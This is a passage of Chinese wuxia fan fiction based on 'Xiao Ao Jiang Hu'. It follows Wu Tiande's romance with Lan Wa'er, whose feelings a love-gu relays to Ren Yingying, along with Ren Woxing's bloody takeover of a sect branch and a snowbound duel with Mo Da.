蓝娃儿一时情动,大着胆子主动亲了他一口,已臊得脸皮都红了,哪禁得他再说,羞得将脸掩在他颈后,说也不敢说一句,呼出的鼻息都热了许多。吴天德见她害臊,便不再说,走出几步,蓝娃儿含含糊糊地道:“吴大哥,你怎么找到我的?”
吴天德边走,边将如何一路寻到道观,在观里如何大打出手,又如何从那采花贼观主口中知道那人中了极上乘的惑心媚术,如何一怒之下手刃那狼狈为奸的一对大盗一一说来……
蓝娃儿趴在他宽宽的、厚厚的背上,只觉得身上暖暖的,心中甜甜的,连风都是柔柔的,晕晕陶陶的只想就这么趴在他背上,永远这么走下去,他说什么,反而没有听在耳朵里。
一个魁梧的汉子背着一个娇美的少女一路走一路聊,渐渐地远去了。
二人回到城中,已近子夜,幸好临近年关,夜禁已解,城门也未关。
那位砸了盘子的店小二被老板一顿痛骂,独留下他来收拾大厅以作惩罚,此时正扶着快累折的腰擦着桌子,忽见那位幽灵般消失的商人背着一位美丽的少女出现在眼前,不由得一声尖叫,刚刚叫了声:“有……”,赶紧又捂住了嘴,生怕吵醒了老板,听见自已叫有鬼,便连这个月的工钱也要泡了汤。
吴天德见是他,想起多亏他自已才能寻回蓝儿,便从怀中摸出一锭银子塞到他手里,笑嘻嘻地道:“小二哥,麻烦烧些热水送到甲字三号房”。
店小二张大了嘴巴看着这汉子背了那少女上楼,才惊醒过来,抓起那锭银子往嘴里狠狠一咬,一颗蛀牙咬得生疼,可是痛得扭曲的五官上却挣扎着挤出一片笑容:“整整十两白银,两年的工钱啊!”
吴天德在外间匆匆洗去一身风尘,敲了敲里间房门,轻声道:“小蓝,你洗好了么?还要不要吃点东西?”
蓝娃儿苦兮兮的声音道:“吴大哥,我洗不了!”
吴天德听了一怔,问道:“我可以进来么?”蓝娃儿道:“嗯!”,吴天德推门进去,只见蓝娃儿坐在床上,双腿悬在床沿下,旁边是客栈里专用的浴桶,脚下放着一个木盆。见了吴天德,蓝娃儿苦着脸道:“吴大哥,人家的脚心疼,洗不了澡,我想洗洗脚就好,可是痛得不敢放进去”。
那双脚白晰、纤秀,脚趾羞涩地并拢着,脚面着还沾着几片草根树叶,吴天德叹一口气,走过去轻轻蹲下,握住她的足踝,蓝娃儿身子一震,有些不自在地缩了缩身子,却咬着唇任他抬起了自已的脚掌。
脚心划破了两处口子,沾着一些泥污沙粒,吴天德怜惜地道:“你囊中有金创药吧?忍着点疼,我帮你洗洗干净,敷上些药,就愈合得快些了,好不好?”
蓝娃儿红着脸点了点头,吴天德轻轻撩起些水来淋在她的脚面上,蓝娃儿纤脚一缩,好在那水晾了这么久,已经凉了,淋在脚上已不象方才那么疼。
吴天德见了更加小心,他轻轻地沾了水,用手指一点点抹去蓝娃儿脚上的沙粒和泥土。蓝娃儿被他轻柔的手指在脚心上一阵抚摸,顿时觉得脚心上有一股细细的热气漾开,沿着足踝、小腿电流般传了上来,一双大腿变得又酥又麻,连人都似乎一下子软了。
她的脚掌非常优美,脚面似无瑕的白璧,十分光洁,吴天德轻轻地替她清洗着,也不禁惊叹于它的美丽。
蓝娃儿双手撑在床上,只觉被他摸过的地方越来越热,几乎酥软得都要融化了,胸膛也忍不住急促地呼吸起来,吴天德的手指每一下滑过,都引起她从心底发出的一串呻吟,惹得她晕生双颊,她想抽回双脚,却偏偏使不出力气,好似内心中竟十分渴望他的抚摸。
一双脚渐渐地清洗干净了,它是那么优美,十个小小的脚趾匀称整齐,正紧张地蜷缩着,那双纤纤玉足柔若无骨,圆柔的脚踝和白腻的脚掌勾勒得双脚细致纤柔。
吴天德还没有这么近、这么仔细地看过少女的脚掌,他的呼吸也有些急促起来,他已不敢抬起头来,生怕蓝娃儿发现他的异样。但他的鼻息喷在脚面上,蓝娃儿又如何察觉不出?
一想到吴大哥正贪恋地抚摸着她的双脚,蓝娃儿更加难忍其痒,却又一动也不敢动,只得将双手使劲扭紧了床单。
吴天德咳了一声,抬头对蓝娃儿道:“小蓝,把金创药……”,他这一抬头,霍然映入眼帘的是一张红得象牡丹绽放的娇颜,那双眸子似羞似喜,乌黑的长发披在她的肩头,几缕发丝掩着那双蕴含着绵绵深情的双眸,似有勾魂荡魄的媚力。
吴天德被她盈盈的眼波一扫,心房砰然为之一跳,急忙又低下头,这一低头,才惊觉她半挽裤管的一双小腿也是那么圆润、白嫩,那双微微颤抖的丰盈大腿似乎正散发着可以焚烧一切的热力。
吴天德沙哑着嗓子颤声道:“娃娃,你……你不要对我使用媚术”。不料蓝娃儿的嗓音居然也沙哑起来,同样颤声答道:“我……我没有,我要喜欢我的人,是真心的喜欢我。如果用媚术,我分不清是喜欢我,还是……”
她的声音虽也沙哑,可是却增添了一种更加魅惑人心的吸引力,听得吴天德心头一荡,忽地抬起头望着她柔波荡漾的双眸,眼中射出灼热的光芒,那双大手已悄悄抚上了她一双弹力惊人的大腿。
蓝娃儿哆嗦了一下,急忙伸手按住了吴天德的双手,她咬了咬嘴唇,慢慢的、轻轻的、用着梦幻一般的声音道:“吴大哥,如果你喜欢……小蓝愿意用媚术服侍你,可是……不是现在,我现在好想……只想要一个真真实实的我陪你……”
她的声音如泣如诉,又如一声轻柔的叹息,听得吴天德心中似燃着了一团烈火,他已情不自禁地吻上了那双馥郁芬芳的红唇,蓝娃儿一声呻吟,纤白优美的双手轻轻环住了他的脖子,拥着他向床上倒去……
*
桃源日月神教分坛,一身金钟罩、铁布衫的薛三智被任我行一掌掏出了心脏,托在手中森森一笑,冷冷地扫视了那些人一眼,道:“名为三智,实为不智,死心踏地为东方不败卖命,我还当他生了一颗熊心豹胆,原来他的心也和别人一样!”
说着任我行手掌一合,滋地一声血水自指缝间射出,那颗犹在跳动的心脏被他握得稀烂,丢在地上。那数十名坛中高手面如死灰,有的已忍不住呕吐的感觉,急忙捂住了嘴巴。
任我行的目光缓缓扫过,忽地停在一个年近五旬、身材佝偻,手中提着一根旱烟袋的老者面上,向他喝道:“隋一风,我任教主之时你是贵州分坛武冈香坛香主,我记得你一手点穴功夫名冠西南,排教争夺武冈三江地盘时,你以掌中一枝乌铁烟杆力斗排教高手,排教派来七个香主有四个被你点中死穴,为本教立下汗马功劳,现在位居何职?”
那人被任我行一叫,吓得身子一颤,立时面无血色,但听任我行说出这番话来,面上不禁一片感激之色。事隔十余年,自已都已淡忘了那轰轰烈烈、豪气干云的往事,可是这位任教主被关了十余年,居然仍能记得自已为神教立下的这件功劳,自已当时不过是一个小小的香坛坛主呀。
隋一风禁不住双膝一软,已扑嗵跪倒在地,颤声道:“启禀教主,属下……属下现为湖南分坛桃源香坛护法。”
任我行一皱眉道:“香坛护法?你武功不济,不进反退么?”
隋一风霍地抬头,抗声道:“属下日昔苦练,武功一日不曾搁下,十年前属下一招连打五处大穴,现在已可在一招之间,连点九处大穴。”
任我行厉声道:“本教赏罚分明,唯才是举,你可是犯了大错,以致贬谪?”
隋一风听了涨红了脸皮,一把扯开了前胸衣襟,只见胸前交叉纵横,足有七八道各式兵器留下的伤痕,隋一风大声道:“属下对神教忠心耿耿,凡有敢犯我神教者,属下誓死杀敌,从不落人后!”
任我行哈哈大笑,抢前一步,一把将他扶起道:“隋兄弟,你武功不凡、忠心神教,我在总教时听了你的功劳,本想让你在地方再磨炼两年,就调到黑木崖去,再不济也是个长老,唉……,不提他了,从此刻起,我便任你为湖南分坛坛主,咱兄弟同心,有生之年好好为神教闯出一番大事业来,你可愿意?”
隋一风激动得几乎落下泪来,那瘦削佝偻的身子也似突然高大了许多,昂然说道:“属下愿追随教主,生死相随,共创大业!”
说完他转身对那些总坛高手道:“诸位兄弟,任教主才是咱们日月神教的教主,东方不败篡夺教主之位,犯了本教第一条教规,当受万刃分身之刑,你们是愿意追随于任教主座下,还是为那犯上叛教的东方不败卖命?”
那些人早被任我行吓得魂飞魄散,此时听隋一风一说,彼此相视一眼,忽啦啦跪倒一片,齐声道:“属下愿追随任教主,忠心耿耿,誓死效忠。任教主文成武德、寿与天齐,千秋万载,一统江湖!”
任我行没听向问天对他提起过这些词儿,这时不由一怔,隋一风冷哼一声,他就是因为看不惯这套马屁经,加上外形长得差了点,所以虽屡立大功,却不得赏识,此时听了没好气地道:“任教主掌管神教时,待属下亲如兄弟,从来不听这套马屁经,大家以后不要再用恭维东方不败的这套词啦”。
任我行这才知道居然是东方不败定下的规矩,他拍拍隋一风肩头,说道:“隋坛主说的对,以后东方不败那一套就不要谈了!”,说着走回盈盈身边,关心地问道:“盈盈,你伤得可重?”
盈盈蹙着秀眉道:“爹爹,向叔叔方才为我疗伤,现在已经好得多了,我……想去歇一会儿”。任我行点了点头,对隋一风道:“隋坛主,安排个地方给小姐休息,然后取来本教在湖南的人员花名册,我和向左使,跟大家把酒言欢,好好聊聊!”
薛三智练的是童子功,没有内眷,所以这总坛也没有内眷住房。隋一风抓了两个不识武功的丫环扶她进厅旁厢房中休息,又吩咐人做些清淡的饭食给她。盈盈休息了一阵儿,有人端来饭茶,因为内伤方愈,只喝了碗粥,便坐在房中打坐调息。
任我行倒也体贴女儿,见她在近处休息,便道大厅内血腥味浓,带了众人去偏厅饮酒,了解湖南分坛的人员配置和各地舵把子的情况。
任盈盈调息半晌,却是难以入定。方才在厅中与薛三智较量之时,那股突如其来的巨大悲伤和绝望感一直困扰着她,那种痛楚、伤心的感觉实在太过刻骨铭心,现在想来,还会不期然地涌起一阵淡淡的忧伤,自已怎么会有那种奇怪的感觉?
她自不知那时正是蓝娃儿以为难逃被人凌辱的命运,决意一死,想起吴天德来,又是伤心、又是绝望,情绪波动异常强烈,以致影响到她体内的本命蛊,直接将那种情绪接收入她的心中。
任盈盈调息久坐,身体再无什么异样,那种突如其来的悲伤感觉已消失不见,这才放下心来,安心调息一会儿,见烛将燃尽,夜色已深,便熄了烛火卧床休息。就在这时一种莫名的幸福和愉悦感涌上心头,好似见到了久别重逢的亲人,那种激动、慰贴、幸福的感觉虽只是一刹那间的事,却在她心头回旋良久。
这一下骇得任大小姐又腾地坐起,张大了眼睛,脸上满是恐惧之色。欢喜、幸福的感觉自然谁都希望,但若是莫名其妙就有了那种感觉,可就不免叫人恐惧了。
此时正是吴天德从天而降,一刀吓死玉玑子,抱住蓝娃儿倾诉自已的担忧和挂念的时候,任大小姐不知其中缘由,这一吓非同小可。她愣愣地呆了半天,可是那种异样的感觉又象灵光一闪般消失不见,难道自已要发疯了么?
可怜的任大小姐,因为吴天德担心她一怒之下杀了蓝娃儿,隐瞒了本命蛊的奇异作用,一向平静如水、淡泊漠情的圣姑盈盈,此刻竟被吓得花容失色,还当自已犯了疯病。
任盈盈披衣起床,在房中踱了许久,又推开窗子,望着天上一轮明月,心情才舒畅了些,她合衣躺在床上,胡思乱想了半晌,睡意朦胧起来,才渐渐睡去……
*******************************************
蓝娃儿果然是绝妙的美女,那蓬乱的云鬓,如丝的媚眼,微启的樱唇……,惹得吴天德整个人都似化作了一团火焰,只有她晶莹的身子才能将他的烈火熄灭。
饱满的酥胸、修长的玉腿、浑圆的足踝……每分每寸,都充满了女性的诱惑,女性的魅力,随着吴天德一双魔手的侵扰,蓝娃儿婉转呻吟,满脸潮红地任由吴天德将自已的衣衫一点点除下,心中只是甜蜜地想着:今晚,我要成为吴大哥的女人了。
她的锁骨瘦削性感,胸部却很饱满尖挺,大腿长而笔直,臀部丰满浑圆,全身上下显现出一种诱人的魅力。那曼妙修长、曲线流畅的胴体简直像是美玉雕成,造型优美而生动,冰清玉洁的肌肤,没有一点瑕疵。
吴天德就着烛光痴迷地爱抚着她的身子,轻轻地唤着她的名字:“小蓝,娃娃,你好美……”,那圆润的身体曲线从两座山峰间流过,流过圆润光泽的平坦小腹,平坦渐渐收缩并柔软地砍削成纤细而富有弹性的腰肢,玉一样细腻而富有质感。
蓝娃儿一手掩胸,一手掩着自已的眼睛,羞窘地躺在那儿一动也不敢动,完全出于自然的旖旎娇羞引逗得吴天德如痴如醉,蓝娃儿偷偷自指缝间瞧见吴天德痴迷地抚摸着自已的身子,忽然羞不可抑地挺起身来,一双柔软的玉臂,蛇一般缠上他的脖子,颤声道:“吴大哥,不要看了,好羞人呀……吴大哥,爱我……!”
吴天德被蓝娃儿这一抱,整个身子都压在她柔软的身子上,蓝娃儿突然感觉到他的坚挺,不禁身子一僵,骇得不敢再动,虽然还隔着吴天德的衣裳,可那种火热、坚挺的感觉,让她就象被雷电劈中一般,整个人都瘫软下来,大腿上的肌肉紧张得突突直颤。
碧玉破瓜时,郎为情颠倒。一晌偎人颤,教君恣意怜。可是此时的任盈盈却满头大汗,蓝娃儿那种又羞又喜、神魂颠倒的快感也同时影响着她。那蛊名为本命蛊,又叫情蛊,对情欲最是敏感,因此此传递过来的信息也尤为强烈。
任盈盈不但对蓝娃儿心里羞喜交加的感觉感同身受,更可怕的是连身体上都似能产生同样的感觉,她此时陷入梦魇之中,朦朦胧胧中感觉那个正轻薄非礼自已的人似乎就紧压在她的身上。
任盈盈已分不清这是梦,还是现实,她想睁开眼睛,偏偏一双眼睛就是睁不开;她想跳起身来,偏偏身子酥软得已不听使唤。
任盈盈陷入痛苦的挣扎之中,情欲象天生的本能,控制着她的身体,可是她尚存的理智却叫她万万不可沉沦进去。吴天德的坚挺触及蓝娃儿的身子时,让她身子一僵,再也不敢动弹分毫。任盈盈在这一刻也感应到那人竟似要侵入自已的身体,强烈惊骇的感觉使她一下子脱离了蓝娃儿的情绪控制,脱口惊呼一声:“不要!”猛地一脚踢了出去。
这一脚踢出,任盈盈才猛地醒来,一下子坐在床上,冷汗已浸湿了她的罗衫。
室中静静无人,只有柔和的月光如水般照进窗来,春梦了无痕,可是为什么自已的感觉那么真实,甚至那人的像貌……,任盈盈想到自已梦到的那人,也不知是该羞、该怒、还是该恨,身子却象风中的树叶一般抖了起来。
吴天德也已欲火难耐,正想伸手去解自已衣衫,忽地蓝娃儿僵硬地躺在那儿予取予求的身子一下子跳了起来,那力量大得将他的身子都弹开了,只听蓝娃儿一声惊呼:“不要!”,飞起一脚向他踢来,吓得吴天德翻身一躲,被蓝娃儿一脚踹中小腹,直跌下床去。
好在蓝娃儿情急之下没有用上内力,不然……
吴天德坐在地上怔了一怔,蓝娃儿也惊惶地坐在床上,大睁着双眼一副不知所措的模样,竟然忘了去遮掩自已的身子。吴天德见了她茫然的样子,心中又是尴尬又充满怜惜,这女孩儿根本未经人事,今晚又受过那种惊吓,想是自已的粗鲁又使她想到了那可怖的情景了,自已怎么可以在这时候对她动了欲念?
他只当是自已的粗暴吓着了蓝娃儿,忙起身拉过一床薄衿掩住她身子,柔声道:“娃娃,你今晚受了惊吓,我不该……,别怪我好么?你好好休息一下,大哥去外面睡!”
蓝娃儿见他要走,不禁急得一把拉住他道:“吴大哥,你别生气,我不是……不是我……”,她急得不知所措,垮着脸惨兮兮地道:“不是我呀,吴大哥,是……一定是刚刚盈盈姐姐感应到了,所以她……她……”,蓝娃儿说着脸又红了起来,想到盈盈晓得她方才的感觉,窘得只想找个地缝钻进去再说。
吴天德呆住了,自已怎么忘了任盈盈,忘了情蛊的事了?原来不止蓝娃儿能影响她,她的情绪波动太大时一样可以影响蓝娃儿,惨呐!
好不容易有机会向吴大哥袒露心声,将自已的身体献给自已最爱的男人,蓝娃儿怎么舍得他走?她轻轻咬了咬唇,一狠心,羞羞答答地道:“吴大哥,要不……要不……你把我绑了起来吧!”
吴天德吓了一跳,玩束缚?偷偷一瞥薄衿下露出的一双悠长动人的大腿,吴天德心中一荡,但却摇了摇头,他轻轻揽过蓝娃儿,在她唇上轻轻一吻,轻笑道:“我倒真的把任大小姐给忘啦,我们现在这样,对她太不公平,等解了蛊毒吴大哥再好好疼你吧,娃儿乖……”。
吴天德软语调笑,哄了她一会儿,蓝娃儿见吴大哥并没有失望生气,这才展颜一笑。但吴天德一离开屋子,蓝娃儿就马上懊恼地一拉被子,整个蒙在脸上,象个没有得到心爱玩具的小孩子,过了会儿又忽地掀开被子,一双亮晶晶的眼睛全无睡意,想起方才那旖旎的风光时,那双眼睛就弯了起来,朦胧得象天上的月光……
一样的月光,不一样的心情,但是相隔千里的两个女孩儿注定都要渡过一个不眠之夜啦……。
至于老吴呢?这厮用冷水洗了把脸,躺回床上辗转反侧了两柱香的时间,然后……睡着了。他前半夜跑得比驴还累,现在当然睡得比猪还香!
第九卷 嵩山大会 第102章 回山
任盈盈被那昔名其妙的感觉折腾得一夜未敢合眼,偶尔想起梦中所见所感的难言滋味,不禁羞涩不已,可是那种感觉,却又让人有些意荡神驰、内心中似乎有一种朦胧的渴望。
她毕竟已是十九岁的少女,情窦已开,尝到那种新鲜、刺激的男女之情,偏又是她一人心中秘密,自觉无人知晓,不免有些浮想翩翩。
想起梦中所见的那人,是那个整天没几分正经颜色的吴天德,独坐遐思的任大小姐顿时臊红了脸蛋儿,热辣辣的好象都可以在脸上摊鸡蛋了。
她在床上辗转反侧,眼见天色渐晓,雄鸡啼鸣,仍是不明白今天怎么会如此失常,按着心口长长叹了口气,她忽地心中一震,想起自已所中的本命蛊来,不由霍地一下坐起身来,又仔细地想了半晌,未中那本命蛊前自已可是正常得很,从来不曾有过什么异样,难道是……,任盈盈一张俏脸顿时红了又白、白了又红。
她想起蓝娃儿擅使蛊、毒、在血峰时又曾亲眼见她对人用过惑心术,这女子精通的尽是一些旁门左道的功夫,难不成是她在搞鬼?那小妮子精灵古怪,对吴天德又一往情深,言听计从,是那小子指使她对自已使了什么邪法么?
任盈盈想起吴天德惯于随机应变,死人都能让他吹成活的,若是他对自已用心不良,被父亲听到他阴谋后胡说八道一番什么本命蛊一类的谎话大有可能,不禁气得手脚冰凉,身子都发起抖来,若是自已一时春梦那也罢了,若是那混蛋戏弄自已,岂不是奇耻大辱?
任大小姐愤愤地一捶床沿,银牙咬得格格直响:“吴天德,不要让我知道是你搞鬼,否则……你一定会后悔的!”
***************************************************
不知是不是感受到了任大小姐的无边恨意,老吴打了个大大的喷嚏,揉揉鼻子醒来,才发觉那层薄被被踢到一边,有些着了凉。
吴天德爬起床来,披上衣衫去敲蓝娃儿的房门,心中想起昨夜的荒唐和蓝娃儿性感媚惑的胴体,不禁心中一荡:“不知这丫头要是施展出媚术来,又该是怎样的风情万种,真是好期待啊,只待那该死的本命蛊一解决,嘿嘿嘿嘿……”
淫笑戛然而止,房中竟没有一丝声音,吴天德大惊,难道这芜湖城竟是淫贼窝子不成?吴天德一把推开房门,鼻端只闻到一缕幽香,伊人却是芳踪杳杳,吓得他霍然转身向外冲去。
一冲出房门,赫然见到蓝娃儿手中端着一盆热水,莲足轻移,自那楼梯款款而上,犹如步步生莲,她身上穿了一袭白色的衣裳,袖边领旁绣着朵朵梅花,衬托得那玉面芙蓉,异常娇媚。
那优美的身姿、窈窕的曲线,宛如烟中芍药,轻盈的步履中飘然而来时,更觉迷人!
她俏生生地抬头,蓦地瞧见吴天德站在楼梯上痴痴望着自已,不禁垂下眼帘来抿嘴一笑,那一低头的风情,直是叫人销魂。
一个有幸赶到正要下楼的客人见了,双膝一软,一头栽了下来,吓得蓝娃儿连忙向旁一让,那人便咕噜噜地滚下楼去。
吴天德将蓝娃儿带进房中,放下水盆,一把将她揽在怀中,埋怨道:“大清早的,你跑去哪里,吓得我还以为……”。
蓝娃儿被他搂在怀中埋怨,心里却是窝心得很,她仰起脸来甜笑道:“我看你睡得正香,就悄悄出去帮你打些洗脸水来。吴大哥,昨晚我只是一时不小心,娃娃一个人在西域那么久,懂得照顾自已的”。
吴天德伸出手指在她直直的鼻梁上刮了一下,笑吟吟地道:“你呀,又变成我刚认识时的蓝娃儿了,高傲自负、不可一世!”
蓝娃儿皱着鼻子不服气地哼了一声,忽地放开他的怀抱,退后两步,轻盈地转了个身,嫣然道:“吴大哥,我这个样子好不好看?”
她身材高挑、腰身纤细,这轻盈地一转,如出岫之云,不可方物,吴天德眼睛一亮,赞道:“好美,那股霸气全没了,水灵灵的象仙子一般,你什么时候买的这件衣服,我怎么不知道?”
蓝娃儿俏脸一红,自不好说是因为见他望及任大小姐时总是满眼痴迷赞赏之色,却总是无视于自已的存在,才学任盈盈去偷偷买了件白色的袍子来穿。
不过任盈盈穿的是素白的袍子,杭州城内是江南繁华之地,可没有那么素净的颜色,这件绣梅花的白袍还是蓝娃儿跑了几家衣店才买到的。
蓝娃儿翘了翘小嘴,嗔道:“人家整天在你身边晃,你都看不到,离开一时半晌的你怎么会注意?”
吴天德见她撒娇,那娇憨可爱的神情异常动人,忍不住拉过她来在柔软的小嘴上亲了一下,笑道:“以后天天看,时时看,盯着你不许离开我半步,你可不许烦啊”。
蓝娃儿神色一喜,举掌道:“一言为定!”
吴天德哈地一笑,和她对拍一掌道:“一言为定!”,说完想起还有一件要紧事没说,忙将自已昨夜在客栈中听到东方不败要传位于圣姑盈盈、以及自已的猜测说了出来。
在蓝娃儿心中,“可兰经”说的是至理,吴大哥说的就是明言。他说东方不败要拿任大小姐换脑,那自然就是要拿她来换脑,什么?你说这是胡乱猜测?毒死你喔!
蓝娃儿虽从未履及中原,但是从母亲口中对五毒教的事了如指掌。中原各地许多大药房都有五毒教的暗桩眼线,一方面药材是五毒教的重要经济来源,派些人来中原经营药材,要比卖予别的大药商赚得更多,二来可以广知武林中事,所以五毒教虽远在蛮荒之地,消息却极灵通。
早餐后,蓝娃儿携着吴天德的大手,穿花蝴蝶般在芜湖城中兴冲冲地逛来逛去,引得不少男子都惊艳不已。吴天德今日也换回本来模样,被她拉着在大街小巷逛来逛去,怀中的东西不断增加,不禁苦笑不已。
好在蓝娃儿娱乐不忘工作,逛得正开心时也没忘了注意到一家大药房的布幡上那个五毒教的暗记,她拉住吴天德,朝那药房努了努嘴,吴天德会意地望去,见那药房与寻常的也没什么不同,不知蓝娃儿从哪里看出区别来。
蓝娃儿头前带路,进了那间药店。时值年关,店中比较冷清,见了进来这一男一女气质不俗,像貌出众,坐在柜台后的老先生不禁注意地看了两眼,才垂下眼皮去继续拨着算盘。
蓝娃儿走到柜台前,脆声道:“老板,店里有没有金银花、忍冬花、双花、二宝花、鹭鹚花?我要各买三两!”
那老板吃了一惊,手下的算盘顿时珠子一乱,他抬起头来仔细瞧了瞧蓝娃儿,又看了看茫茫然不知所谓的吴天德一眼,皮笑肉不笑地道:“这位小姐,您要的可是同一味药材呀,是考较老头子的药理么?呵呵,我给您包成一包好么?共三钱银子,请先付钱!”
蓝娃儿格格一笑道:“云分五色,花分五品,我说五种,便是五种”。那老掌柜听了脸上神色一变,忙站起身来向后堂一摆手道:“小姐是行家,里边请,有上好的药材,您不妨一齐瞧瞧”。
蓝娃儿向吴天德得意地一笑,大摇大摆地当先而去,吴天德见了她的孩子气,不禁微笑摇头,用下巴压住怀里抱着的一堆东西,随在后边也走进后堂,那老掌柜随着进来,顺手放下了门帘。
后堂中药味儿更浓,那老掌柜走了进来忽地一撩袍襟,跪倒在地,恭恭敬敬地道:“五仙教下弟子吴世,拜见长老!”
原来蓝娃儿用的切口是五毒教总坛长老的身份,这本是她母亲昔日所用的身份,蓝娃儿知其然,不知其所以然,照本宣科,一字不漏地背了出来,那老掌柜虽觉以她年纪,不似教中长老,可是五仙教规矩甚严,冒充长老者要受五毒穿心大刑,所以也不敢认为她是虚言恫吓,忙以参见长老之礼拜见。“
蓝娃儿取过吴天德写给任盈盈的信来,递给那掌柜,冷着一张俏脸吓唬他道:“你速着人立即带这信赶往总教,把信交给蓝凤……蓝教主,一定要快,如果迟了,万蛇噬身!”
老掌柜身子一颤,不知是何等重要的大事,连忙接过信来,颤声道:“是,属下立即就办,请长老放心!”
蓝娃儿哼了一声,转过身来望着吴天德时小脸又变得笑眯眯地,腻声道:“吴大哥,我们走吧,刚刚看到一件绿裙子,现在想想,好好看喔,我们去买吧!”
吴天德把头连点,下巴磕在高高摞起的匣子上,状极可笑,蓝娃儿不禁嘻嘻一笑,从他怀里抓过两件来自已抱住,吐了吐舌头,道:“走啦!”,一路蹦蹦跳跳地出了店门。
这边两人出了前门,后门两匹快马已疾奔出去,马不停蹄直扑向南城门。
*****************************************************
吴天德和小蓝一路西行,天气越来越是寒冷,但二人之间的情火却越来越热。因为彼此已经坦白心声,再有了那夜的袒裎相对,二人除了那最后一关未破,早已情同夫妻。夜间止宿之时,孤男寡女共处一室,情动之时自然卿卿我我、爱抚一番。
蓝娃儿见吴天德忍得难受,心疼情郎,少不得羞答答使出月神媚术中的手段来,藉借肢体的接触抚弄让老吴大得其趣,虽未真个销魂,其实也已蚀骨。那种种奇妙手段,简直让吴天德这位饱受视频冲击的现代人也吃惊于其中画样之多。
吴天德自那夜之后,想及若是贸然与娃娃成就夫妻之事,远方的盈盈感同身受,莫说是她任大小姐,恐怕换了任何一个女子,突生这种古怪感觉都要以为自已鬼上身,吓也吓死了,所以倒是不敢破那最后一关,蓝娃儿施展媚术,只为让他尽兴,自已虽也耳热心跳,到底不如那夜紧张,远方的盈盈便少受了一番折磨。
但闺房之乐有甚于画眉者,蓝娃儿深谙其中手段,可惜自已却偏偏不谙其中妙味,只便宜了老吴,快活得犹如人中神仙,不过其中种种妙趣,嘿嘿,实不足为读者道也。
这日来到武涉县西,遍地白雪,一条冰河,木桥上冰柱倒悬,河中央冰破水涌,汩汩如泉。
吴天德和小蓝各乘一马,缓缓踏过小桥,桥头下一棵老槐,树顶积雪弯枝,还有三两枯干的树叶挂在枝头,在风中瑟瑟发抖。
桥后一角小亭,此时赫然背面坐着一个青袍老者。吴天德一眼瞧见那人背影,虽然身形佝偻瘦削,但那人随随便便那么一坐,竟似别有一番气派,不由心中一动,连忙示意蓝娃儿停下。
蓝娃儿为怕风雪吹伤了娇颜,面上蒙了厚厚的蓝巾,只露出一双乌溜溜的大眼睛,见吴天德示意,会意地停下身子,清澈的眸子瞪着那背坐的人影,手掌按住刀柄跃跃欲试,只待吴大哥一声令下,就让那人好看。
吴天德呵呵一笑,勒着马缰对那人道:“冰天雪地,独坐寒亭,阁下专为等我而来?”
那人嘿然一笑,缓缓起身步出小亭,只见这人佝偻着身子,一袭青袍在风中飘飘荡荡,好似是挂在竹竿儿上一般,那人面上蒙了一块青布,边角破烂,吴天德见他前襟破了一块,才知是从身上扯下来的,不禁暗暗好笑。
吴天德一跃下马,见那人头上白发苍苍,便拱手道:“未敢请教前辈大名,何以在此候我?”
那人一双不大的眼睛极为有神,瞪视吴天德片刻,他忽地纵身一跃,那干瘦的身形攸然升起两丈多高,顺手从树上折下一枝树枝来,树干被他一动,白雪纷纷落下,一个废弃已久的乌鸦窝也从枝杈上翻了下来。
那人身形下落,随着那纷纷扬扬的雪沫儿,一根枯枝剑一般刺向吴天德颈左大脉,剑气飒然,竟然十分凌厉。
吴天德见了忽地倒身后掠,滑至桥前,一伸手摘下一支尖尖下垂的冰刺,脚尖在地上一拧,以更快的速度回射过来,蓝娃儿目光一闪,只见两道奇快的人影儿乍合又分,那漫天落下的积雪好似被风吹起,攸然反卷起来。
这一合一分,那海碗大的鸦窝蓬地一声,炸了开来,杂草羽毛飘飘荡荡时,两人已对面而立于两丈开外。
二人这一交手,那青袍蒙面人掌中的枯枝固然没断,吴天德手中的冰刺竟也完好无缺,那人见了眼中不由露出一丝讶然神色。要知那人手中枯枝也有指粗,而且这树未死,只是冬寒只余枯干而已,树枝中还残余一些水分,并不易折,但吴天德手中的冰柱可是又脆又细,二人对了一剑,看以无分上下,至少功力上已分出了胜负。
青袍人低斥一声,道:“好小子,再看我这一剑”,说着一挺树枝,刷刷刷树枝挥出,连刺七剑,那剑势灵妙轻奇、绵绵密密,招式十分的怪异。
好一招“回风落雁”,吴天德见了这一剑已知来人是谁,怎敢再出狠招,手中冰刺一扬,使的却是一路刀法,大开大阖,刚猛霸道,二人的招数一刚一柔,一阴一阳,一正一奇,迥然有异。
但二人用的虽是一根树枝、一根冰柱,威力却是极大,树上积雪受剑气一刺,落下更多,雪花飞扬中,两条人影兔起鹊落。这人身法固然妙到毫巅、诡异离奇,吴天德却更胜三分,只听尖锐的剑气,划空急过。
那青袍人不但功力深厚,而且招式灵幻奇诡,阴柔至极,柔可克刚,这些奇快诡异的剑法本是吴天德这路至刚无回的刀法克星,但十招一过,吴天德的刀法不但专攻对方剑法的空门,而且恰恰能将对方剑路封闭,招式化解。
数十招过后,那青袍老人竟未能丝毫占得上风,又是数十招过后,青袍老人突然长啸一声,震得大团大团的积雪自树顶落下,那剑势一变,变得更加玄异阴柔,一根树枝,有如几十柄利剑,自不同的角度纷刺吴天德全身要穴。
吴天德暗嘿一声,“回风落雁剑”不成,压箱底的“百变千幻衡山云雾十三式”也出手了,这位莫大先生惯于神经兮兮、藏头露尾,这独门功夫都使出来了,还蒙得什么面?
他的身形突地缓了下来,渐渐凝立不动,那刀明明仍使得奇快,看在旁人眼中却似慢得出奇,一招一式都看得清清楚楚,就如一位梨园高手,将大段的戏词道白飞快地念来,却偏偏叫人听得清清楚楚、字字清晰。
青袍老人,也就是那位总喜欢神秘登场的莫大先生,剑招虽如骤雨一般,却是滴水难入!
莫大先生一双小眼睛越睁越大,显然甚是惊奇,他已从昔年爱恋之人口中听说了吴天德武功之高,却是不信两人分别不足一年,他的武功竟然一日千里,有如此大的进展。
吴天德本想以“天得一刀”击落他手中树枝,方要动作,忽地心中一动,脚步一错,冰刺截出,这一招施出,竟化刀为剑,诡势夭矫,有如天际神龙,不可捉摸!
莫大先生惊咦一声,连退数步,并非他破解不了这一招“鹤翔紫盖”,只是这招剑法用的是衡山派中不外传的绝招秘技,吴天德如何使出?
他心中电闪,想起定闲师太曾感激地言道吴天德将恒山失传多年的剑术绝学抄录下来,慨然归还恒山派的事,心中不由一阵激动,难道吴天德武功进展如此神速,是有了什么奇遇,本派绝学也已为他所得?
吴天德紧跟着再出一招“泉鸣芙蓉”,莫大先生飞身后退,颤声道:“住手,你……你从何处学来这路”紫盖剑法“?
